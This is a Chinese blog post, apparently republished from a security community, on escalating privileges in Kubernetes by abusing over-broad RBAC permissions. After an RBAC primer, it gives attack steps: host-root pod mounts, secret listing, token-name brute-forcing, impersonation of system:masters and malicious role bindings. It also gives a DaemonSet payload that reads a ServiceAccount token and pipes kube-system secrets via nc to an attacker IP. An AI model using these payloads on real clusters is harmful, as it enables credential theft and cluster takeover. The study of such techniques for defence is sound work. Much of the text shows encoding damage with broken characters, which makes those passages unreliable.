K8s提權(quán)之RBAC權(quán)限濫用

本文首發(fā)于火線Zone:https://zone.huoxian.cn/?sort=newest

作者:今天R了嗎

在K8s中RBAC是常用的授權(quán)模式,如果在配置RBAC時(shí)分配了“過(guò)大”資源對(duì)象訪問(wèn)權(quán)限可導(dǎo)致權(quán)限濫用來(lái)提權(quán),以至于攻擊者擴(kuò)大戰(zhàn)果,滲透集群。

如下是一些RBAC相關(guān)的筆記。

k8s的RBAC

RBAC - 基于角色的訪問(wèn)控制。

RBAC使用rbac.authorization.k8s.io API Group 來(lái)實(shí)現(xiàn)授權(quán)決策,允許管理員通過(guò) Kubernetes API 動(dòng)態(tài)配置策略,要啟用RBAC,需要在 apiserver 中添加參數(shù)--authorization-mode=RBAC,如果使用的kubeadm安裝的集群,1.6 版本以上的都默認(rèn)開(kāi)啟了RBAC:
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep "authorization-mode"

1655368658-293387-image

RBAC相關(guān)對(duì)象

K8s所有的資源對(duì)象都是模型化的API對(duì)象,允許執(zhí)行CRUD,RBAC也有相關(guān)API對(duì)象,像Role、ClusterRole對(duì)象都是K8s內(nèi)部的 API 資源,可以使用kubectl相關(guān)的命令來(lái)進(jìn)行操作:

  • RoleClusterRole:角色和集群角色,這兩個(gè)對(duì)象都包含上面的 Rules 元素,二者的區(qū)別在于,在 Role 中,定義的規(guī)則只適用于單個(gè)命名空間,也就是和 namespace 關(guān)聯(lián)的,而 ClusterRole 是集群范圍內(nèi)的,因此定義的規(guī)則不受命名空間的約束。
  • RoleBindingClusterRoleBinding:角色綁定和集群角色綁定,簡(jiǎn)單來(lái)說(shuō)就是把聲明的 Subject 和我們的 Role 進(jìn)行綁定的過(guò)程(給某個(gè)用戶綁定上操作的權(quán)限),二者的區(qū)別也是作用范圍的區(qū)別:RoleBinding 只會(huì)影響到當(dāng)前 namespace 下面的資源操作權(quán)限,而 ClusterRoleBinding 會(huì)影響到所有的 namespace。

舉一些RBAC使用的例子。

創(chuàng)建一個(gè)只能訪問(wèn)固定namespace的的hx用戶

1.新創(chuàng)建一個(gè)用戶憑證

給hx用戶創(chuàng)建一個(gè)私鑰:

openssl genrsa -out hx.key 2048

再使用這個(gè)私鑰創(chuàng)建一個(gè)證書(shū)簽名請(qǐng)求文件,-subj參數(shù)后是用戶名和組(CN表示用戶名,O表示組):

openssl req -new -key hx.key -out hx.csr -subj "/CN=hx/O=huoxian"

然后再使用K8s的CA證書(shū)來(lái)批準(zhǔn)上面的證書(shū)請(qǐng)求:


1655368756-280293-image

這時(shí)候證書(shū)文件生成成功:

$ ls h*                                                                                                              ─╯
hx.crt  hx.csr  hx.key

現(xiàn)在使用創(chuàng)建的證書(shū)和私鑰來(lái)在集群中創(chuàng)建新的憑證和上下文(Context):

sudo kubectl config set-credentials hx --client-certificate=hx.crt --client-key=hx.key

1655368774-478239-image

為hx用戶設(shè)置新的 Context:

$ sudo kubectl config set-context hx-context --cluster=kubernetes --namespace=kube-system --user=hx                  ─╯
Context "hx-context" created.
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: hx-role
  namespace: kube-system
rules:
- apiGroups: ["", "extensions", "apps"]
  resources: ["deployments", "replicasets", "pods"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"] # 也可以使用['*']

其中幾個(gè)重要的字段:

  • apiGroups:其中的apiGroups: ["", "extensions", "apps"]為什么這么寫(xiě)?是因?yàn)橥ㄟ^(guò)https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.10/文檔查詢得知,Pod屬于 core API Group(為空即可),Deployment屬于 apps API Group,ReplicaSets屬于extensionsAPI Group。

  • verbs:可以對(duì)這些資源對(duì)象執(zhí)行的操作,如果是所有操作就用*代替。

創(chuàng)建hx-role這個(gè)Role:


1655368799-776330-image

2.創(chuàng)建角色權(quán)限綁定

將hx用戶和這個(gè)role綁定起來(lái):

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: hx-rolebinding
  namespace: kube-system
subjects:
- kind: User
  name: hx
  apiGroup: ""
roleRef:
  kind: Role
  name: hx-role
  apiGroup: ""
1655369676-913803-image

Subject字段是主題,對(duì)應(yīng)在集群中嘗試操作的對(duì)象,集群中定義了3種類型的主題資源:

  • User Account:用戶,這是有外部獨(dú)立服務(wù)進(jìn)行管理的,管理員進(jìn)行私鑰的分配,用戶可以使用 KeyStone或者 Goolge 帳號(hào),甚至一個(gè)用戶名和密碼的文件列表也可以。對(duì)于用戶的管理集群內(nèi)部沒(méi)有一個(gè)關(guān)聯(lián)的資源對(duì)象,所以用戶不能通過(guò)集群內(nèi)部的 API 來(lái)進(jìn)行管理
  • Group:組,這是用來(lái)關(guān)聯(lián)多個(gè)賬戶的,集群中有一些默認(rèn)創(chuàng)建的組,比如cluster-admin
  • Service Account:服務(wù)帳號(hào),通過(guò)Kubernetes API 來(lái)管理的一些用戶帳號(hào),和 namespace 進(jìn)行關(guān)聯(lián)的,適用于集群內(nèi)部運(yùn)行的應(yīng)用程序,需要通過(guò) API 來(lái)完成權(quán)限認(rèn)證,所以在集群內(nèi)部進(jìn)行權(quán)限操作,我們都需要使用到 ServiceAccount,這也是我們這節(jié)課的重點(diǎn)

現(xiàn)在使用hx用戶來(lái)操作集群資源,這個(gè)時(shí)候不需要指定namespace,因?yàn)橐呀?jīng)給用戶分配了權(quán)限:

sudo kubectl get pods --context=hx-context

1655369689-712432-image

創(chuàng)建一個(gè)只能訪問(wèn)固定namespace的的hx-sa的ServiceAccount

Subject字段還可以是ServiceAccount,對(duì)ServiceAccount來(lái)進(jìn)行角色綁定。

1.創(chuàng)建一個(gè)ServiceAccount對(duì)象

sudo kubectl create sa hx-sa -n kube-system

2.創(chuàng)建角色

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: hx-sa-role
  namespace: kube-system
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "watch", "list"]
- apiGroups: ["apps"]
  resources: ["deployments"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
1655369785-171569-image

3.創(chuàng)建角色綁定

kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: hx-sa-rolebinding
  namespace: kube-system
subjects:
- kind: ServiceAccount
  name: hx-sa
  namespace: kube-system
roleRef:
  kind: Role
  name: hx-sa-role
  apiGroup: rbac.authorization.k8s.io
1655369801-701896-image

這時(shí)候可以使用sa賬戶的token去訪問(wèn)apiserver的資源了:

sudo kubectl get secret -n kube-system |grep hx-sa
sudo kubectl get secret hx-sa-token-bkrlc -o jsonpath={.data.token} -n kube-system |base64 -d
1655369817-921180-image

創(chuàng)建ClusterRoleBinding

如果需要?jiǎng)?chuàng)建一個(gè)可以訪問(wèn)所有namespace的角色,就可以使用ClusterRole 和 ClusterRoleBinding 這兩種資源對(duì)象了。

sa:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: hx-sa2
  namespace: kube-system

ClusterRoleBinding 對(duì)象:

kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
  name: hx-sa2-clusterrolebinding
subjects:
- kind: ServiceAccount
  name: hx-sa2
  namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

這里是直接使用的cluster-admin 這個(gè)對(duì)象(Kubernetes集群內(nèi)置的 ClusterRole 對(duì)象)而不是單獨(dú)新建的ClusterRole對(duì)象。內(nèi)置的集群角色和集群角色綁定都可以查看

kubectl get clusterrole
kubectl get clusterrolebinding
1655369837-205098-image

RBAC權(quán)限濫用提權(quán)

權(quán)限濫用主要在對(duì)特定資源有特定操作的情況下,可以有特定的權(quán)限提升。
對(duì)哪里資源有哪些操作權(quán)限通過(guò)上面已經(jīng)說(shuō)了,看rules的字段內(nèi)容即可,配置resourcesverbs都為*那不用說(shuō),所有資源都可以進(jìn)行任意操作。

1655370048-491869-image

枚舉當(dāng)前RBAC權(quán)限

在指定當(dāng)前通過(guò)滲透得到用戶憑據(jù)或者sa的憑據(jù)后,可以先枚舉當(dāng)前有哪些權(quán)限:

[upl-
1655372400-914302-image

也可以使用curl對(duì)apiserver的api進(jìn)行訪問(wèn)來(lái)區(qū)別當(dāng)前的權(quán)限:


1655371873-47175-image

枚舉之后應(yīng)該對(duì)當(dāng)前憑據(jù)對(duì)資源的操作有個(gè)數(shù)了,下面列舉在分配權(quán)限時(shí),哪些情況下有提權(quán)提升的可能。

create pods權(quán)限

resources: ["*"] verbs: ["create"]resources為*或者為pods的情況下,verbs是create,在集群中可以創(chuàng)建任意資源,比如像pods,roles.而創(chuàng)建pods的命名空間也取決你role中metadata.namespace的值:

1655370509-489699-image

如果有create權(quán)限,常見(jiàn)攻擊手法就是創(chuàng)建掛載根目錄的pod,跳到node:


1655372021-455993-image

list secrets權(quán)限

resources: ["*"] verbs: ["list"]resources為*或者為secrets的情況下,verbs是list,在集群中可以列出其他user的secrets,一般拿來(lái)尋找特權(quán)賬號(hào)憑據(jù)。

具有l(wèi)ist權(quán)限或者說(shuō)是list secrets權(quán)限的role可以列出集群中重要的secrets,包括管理的keys(JWT):


1655370645-704606-image

利用:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

get secret權(quán)限

resources: ["*"] verbs: ["get"]: resources為*或者為secrets的情況下,verbs是get,get可以在集群中獲得其他service accounts的secrets。

如下定義Role的resources字段為*或者secrets對(duì)象,并且verbs為get,這時(shí)候有權(quán)限獲得其他secrets。


1655370732-343714-image

get權(quán)限能訪問(wèn)的api:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

但是get和list不一樣,get需要知道secrets的id才能讀:

1655370753-639383-image

圖出處:list和get來(lái)竊取憑據(jù)的區(qū)別:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

這時(shí)候用讀secrets來(lái)攻擊的話常見(jiàn)手法是讀默認(rèn)的sa的token,默認(rèn)有這些sa:


1655370867-76480-image

對(duì)應(yīng)的token:

kubectl -n kube-system get secret -n kube-system

1655370890-300354-image

可以看到每個(gè)sa的token都是sa的name-token-隨機(jī)五個(gè)字符,

其中隨機(jī)的字符是由數(shù)字和字母組合,特定的27個(gè)字符:

https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#183:#

1655370903-971151-image

27的5次方也是14,348,907可能,寫(xiě)個(gè)py腳本的迭代器爆破即可:
1655370950-280471-image

get list watch secrets權(quán)限

resources: ["*"] verbs: ["get","list","watch"]:resources字段為*或者secrets的話可以利用這三個(gè)權(quán)限,來(lái)創(chuàng)建一個(gè)惡意pod后通過(guò)掛載secrets以至獲取別人的secrets,然后外帶:

1655371003-703490-image
1655371029-29189-image

這里使用automountServiceAccountToken將特權(quán)服務(wù)帳戶的令牌掛載到 pod,使用令牌獲取拿到所有secrets后用nc傳到攻擊者監(jiān)聽(tīng)端口,當(dāng)前也可以使用其他方式帶外:

1655371040-16623-image

圖出處,創(chuàng)建一個(gè)"hot pod"來(lái)竊取憑據(jù):https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

Impersonate權(quán)限

用戶可以通過(guò)模擬標(biāo)頭充當(dāng)另一個(gè)用戶。這些讓請(qǐng)求手動(dòng)覆蓋請(qǐng)求身份驗(yàn)證的用戶信息。例如,管理員可以使用此功能通過(guò)臨時(shí)模擬另一個(gè)用戶并查看請(qǐng)求是否被拒絕來(lái)調(diào)試授權(quán)策略。

以下 HTTP 標(biāo)頭可用于執(zhí)行模擬請(qǐng)求:

  • Impersonate-User:要充當(dāng)?shù)挠脩裘?/li>
  • Impersonate-Group:要充當(dāng)?shù)慕M名??梢远啻翁峁┰O(shè)置多個(gè)組??蛇x的。需要“模擬用戶”。
  • Impersonate-Extra-( extra name ):用于將額外字段與用戶關(guān)聯(lián)的動(dòng)態(tài)標(biāo)題??蛇x的。需要“模擬用戶”。
  • Impersonate-Uid:代表被模擬用戶的唯一標(biāo)識(shí)符。可選的。需要“模擬用戶”。Kubernetes 對(duì)此字符串沒(méi)有任何格式要求。

有了Impersonate權(quán)限攻擊者可以模擬一個(gè)有特權(quán)的賬戶或者組:
Role:

1655371467-38911-image

binding:

1655371484-244657-image

模擬用戶的操作是通過(guò)調(diào)用K8s API 的Header來(lái)指定的,kubectl可以加入--as參數(shù):

kubectl --as <user-to-impersonate> ...
kubectl --as <user-to-impersonate> --as-group <group-to-impersonate> ...

請(qǐng)求apiserver:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\ 
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

其他API資源對(duì)象的create權(quán)限濫用

如果當(dāng)前Role的權(quán)限,是其他API對(duì)象的創(chuàng)建,比如Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs,Cronjobs等,都是可以進(jìn)行創(chuàng)建然后在containers.args字段加入執(zhí)行的e惡意命令:

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']

其他創(chuàng)建pod的方法具體可以查看pod-templates:https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/#pod-templates

Bind權(quán)限

用有bind權(quán)限允許用戶將高角色綁定到當(dāng)前已經(jīng)被控制的帳戶導(dǎo)致權(quán)限提權(quán)。

下面的ClusterRole使用了bind權(quán)限,允許用戶創(chuàng)建一個(gè)與管理ClusterRole(默認(rèn)的高特權(quán)角色)的RoleBinding,并添加任何用戶,包括自己,到這個(gè)管理ClusterRole:


1655372141-119401-image

那么就有可能創(chuàng)造出惡意角色binging,它將管理員角色綁定到現(xiàn)在已經(jīng)被控制的帳戶:

1655372177-891382-image

使用kubectl指定token或者curl到apiserver來(lái)完成綁定:

curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \ 
-H "Content-Type: application/json" \
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
 -d @malicious-RoleBinging.json

然后當(dāng)前賬戶就是高權(quán)限角色,自然可以列出secret等:

curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
-H "Content-Type: application/json"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容